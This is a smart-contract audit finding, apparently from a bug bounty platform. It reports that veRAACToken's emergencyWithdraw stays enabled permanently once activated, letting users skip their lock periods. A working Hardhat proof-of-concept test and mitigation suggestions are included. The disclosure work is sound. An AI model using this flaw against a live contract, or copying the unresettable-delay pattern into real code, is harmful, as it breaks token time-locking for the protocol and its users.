Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Users can ALWAYS withdraw early using the emergencyWithdraw in veRAACToken.sol if enableEmergencyWithdraw() gets called only once

Summary

Users can immediatly withdraw via emergencyWithdraw() and skip the lock.end duration years after the last emergencyWithdraw.

Vulnerability Details

There is no function that sets the emergencyWithdrawDelay to 0.
This means that in order to keep the emergencyWithdraw() function closed, the owner must keep creating emergencyActions in order for this if statement to return true:

if (emergencyWithdrawDelay == 0 || block.timestamp < emergencyWithdrawDelay)
revert EmergencyWithdrawNotEnabled();

Impact

Users can immediatly withdraw using the emergencyWithdraw() function.
Owner must keep scheduling new emergencyActions in order to satisfy the if statement provided above(vulnerability details).
There is no way to set the emergencyWithdrawDelay to 0 to completely stop the emergency withdraw.

POC with instructions

How to run the test:

  1. Add the provided test inside test/unit/core/tokens/veRAACToken.test.js

  2. Run the test with: npx hardhat test --grep "should not allow users to instantly withdraw via emergencyWithdraw"

describe("LOCK POCS", () => {
it("should not allow users to instantly withdraw via emergencyWithdraw", async () => {
// npx hardhat test --grep "should not allow users to instantly withdraw via emergencyWithdraw"
// create a lock before emergency
const amount = ethers.parseEther("1000");
const duration = 365 * 24 * 3600; // 1 year
await veRAACToken.connect(users[0]).lock(amount, duration);
// check that the values that should be returned are not 0,
// which means the lock is created successfully
const lockPosition = await veRAACToken.connect(users[0]).getLockPosition(users[0]);
expect(lockPosition.amount).to.be.gt(0);
expect(lockPosition.end).to.be.gt(0);
expect(lockPosition.power).to.be.gt(0);
// first initiate the emergency withdraw
const EMERGENCY_WITHDRAW_ACTION = ethers.keccak256(ethers.toUtf8Bytes("enableEmergencyWithdraw"));
// start the schedule
await veRAACToken.connect(owner).scheduleEmergencyAction(EMERGENCY_WITHDRAW_ACTION);
const threeDays = 3 * 24 * 60 * 60 + 1; // + 1 to make sure we can call the next function
// wait 3 days + 1
await time.increase(threeDays);
// the schedule will now get cleared by the modifier
expect(await veRAACToken.connect(owner).enableEmergencyWithdraw()).to.emit(veRAACToken, "EmergencyWithdrawEnabled")
// wait for the emergency delay(3 days)
await time.increase(threeDays);
// check if we can emergencyWithdraw right now
await expect(veRAACToken.connect(users[0]).emergencyWithdraw())
.to.emit(veRAACToken, "EmergencyWithdrawn")
.withArgs(users[0].address, amount);
// lets fast forward 900 days. -1 to keep things correct
await time.increase((threeDays - 1) * 300);
// now we create a lock after 900 days of emergencyWithdraw activated
const amount2 = ethers.parseEther("1000");
const duration2 = 365 * 24 * 3600; // 1 year
await veRAACToken.connect(users[1]).lock(amount2, duration2);
// check that the values that should be returned are not 0,
// which means the lock is created successfully
const lockPosition2 = await veRAACToken.connect(users[1]).getLockPosition(users[1]);
expect(lockPosition2.amount).to.be.gt(0);
expect(lockPosition2.end).to.be.gt(0);
expect(lockPosition2.power).to.be.gt(0);
// now lets go and emergencyWithdraw immediatly
await expect(veRAACToken.connect(users[1]).emergencyWithdraw())
.to.emit(veRAACToken, "EmergencyWithdrawn")
.withArgs(users[1].address, amount2);
});
});

Tools Used

Manual and hardhat tests

Recommendations

Ways to mitigate:

  1. Adding a emergency window duration is probably not bad idea.

  2. Creating a function where only the owner can set the emergencyWithdrawDelay to 0 whenever he wants.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken::emergencyWithdraw permanently enables lock-bypassing after activation with no way to disable it, permanently breaking token time-locking functionality

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!